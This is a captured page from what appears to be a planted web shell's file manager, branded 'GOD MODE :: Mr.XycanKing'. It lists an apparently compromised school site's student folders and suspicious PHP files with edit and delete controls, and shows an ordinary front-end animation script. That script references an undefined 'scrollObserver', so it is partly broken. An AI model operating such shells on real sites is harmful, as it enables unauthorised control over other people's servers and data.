GOD MODE :: Mr.XycanKing

NAME	SIZE	ACTION
[ .. BACK ]	--	--
[DIR] AdyaAdi_11stk2/	--	[REN]
[DIR] Arkan_11Saintek1/	--	[REN]
[DIR] Atharal/	--	[REN]
[DIR] Bingkai_10Umar/	--	[REN]
[DIR] Danish_Putradeva_10Ali/	--	[REN]
[DIR] Decha,Abdurrasyid,Syamil_Ali,Umar,Utsman/	--	[REN]
[DIR] Erna_11Saintek1/	--	[REN]
[DIR] Fakhri_11stk2/	--	[REN]
[DIR] Fakhri_Ahmad_Kendri_11Saintek1/	--	[REN]
[DIR] Fathi_Dhia_XAbu/	--	[REN]
[DIR] Fulan_11Saintek10/	--	[REN]
[DIR] M. Rakha_11Saintek1/	--	[REN]
[DIR] Muhammad_Akbar_Purnomo_11Saintek3/	--	[REN]
[DIR] Shihab_11Saintek2/	--	[REN]
[DIR] Sulthan Fathurrahman 11 saintek 1/	--	[REN]
[DIR] app/	--	[REN]
[DIR] dadan/	--	[REN]
[DIR] fauzan_11stk2/	--	[REN]
[DIR] html/	--	[REN]
[DIR] yahya_11 saintek 1/	--	[REN]
.env.example	0.4 KB	[EDIT] \| [REN] \| [DEL]
LICENSE	1.08 KB	[EDIT] \| [REN] \| [DEL]
Rafi oktario, 10 umar.html	2.61 KB	[EDIT] \| [REN] \| [DEL]
archive.zip	0.25 KB	[EDIT] \| [REN] \| [DEL]
byypasajglumati.php	0 KB	[EDIT] \| [REN] \| [DEL]
directory-lister.svg	5.89 KB	[EDIT] \| [REN] \| [DEL]
error_log	1.84 KB	[EDIT] \| [REN] \| [DEL]
gacorkah.php	5.67 KB	[EDIT] \| [REN] \| [DEL]
index (1).html	4.24 KB	[EDIT] \| [REN] \| [DEL]
index (2).html	4.24 KB	[EDIT] \| [REN] \| [DEL]
index.html	0.12 KB	[EDIT] \| [REN] \| [DEL]
index.php	0.52 KB	[EDIT] \| [REN] \| [DEL]
script.js	2.61 KB	[EDIT] \| [REN] \| [DEL]
style.css	5.85 KB	[EDIT] \| [REN] \| [DEL]

Editing: script.js

document.addEventListener('DOMContentLoaded', () => {

// 1. Animasi Scroll Fade-In untuk semua elemen dengan class 'fade-in'
    const fadeElements = document.querySelectorAll('.fade-in, .grid-item');

const observerOptions = {
        root: null,
        threshold: 0.2 // Item akan dianggap terlihat jika 20% dari item berada di viewport
    };

fadeElements.forEach(item => {
        scrollObserver.observe(item);
    });

// 2. Ripple Effect pada Tombol CTA Utama
    const ctaButton = document.querySelector('.cta-button');
    const projectButtons = document.querySelectorAll('.project-button');
    const submitButton = document.querySelector('.submit-button');
    
    // Fungsi untuk membuat Ripple Effect
    function createRipple(e) {
        const button = e.currentTarget;
        
        // Hapus ripple yang sudah ada
        const existingRipple = button.querySelector('.ripple');
        if (existingRipple) {
            existingRipple.remove();
        }

// Buat elemen ripple baru
        const circle = document.createElement('span');
        const diameter = Math.max(button.clientWidth, button.clientHeight);
        const radius = diameter / 2;

// Hitung posisi klik relatif terhadap tombol
        circle.style.width = circle.style.height = `${diameter}px`;
        circle.style.left = `${e.clientX - (button.getBoundingClientRect().left + radius)}px`;
        circle.style.top = `${e.clientY - (button.getBoundingClientRect().top + radius)}px`;
        circle.classList.add('ripple');

button.appendChild(circle);
    }

// Terapkan Ripple Effect ke semua tombol yang diinginkan
    if (ctaButton) ctaButton.addEventListener('click', createRipple);
    projectButtons.forEach(btn => btn.addEventListener('click', createRipple));
    if (submitButton) submitButton.addEventListener('click', createRipple);

// 3. Efek Parallax Sederhana pada Hero Content
    const heroContent = document.querySelector('.hero-content');
    
    window.addEventListener('scroll', () => {
        const scrollPosition = window.scrollY;

// Konten hero bergerak ke bawah 50% dari kecepatan scroll
        if (heroContent) {
            heroContent.style.transform = `translateY(${scrollPosition * 0.5}px)`;
        }
    });
});

[ THE BREAKER V12 - GOD MODE ]

BABAYO EROR SYSTEM

© Mr.XycanKing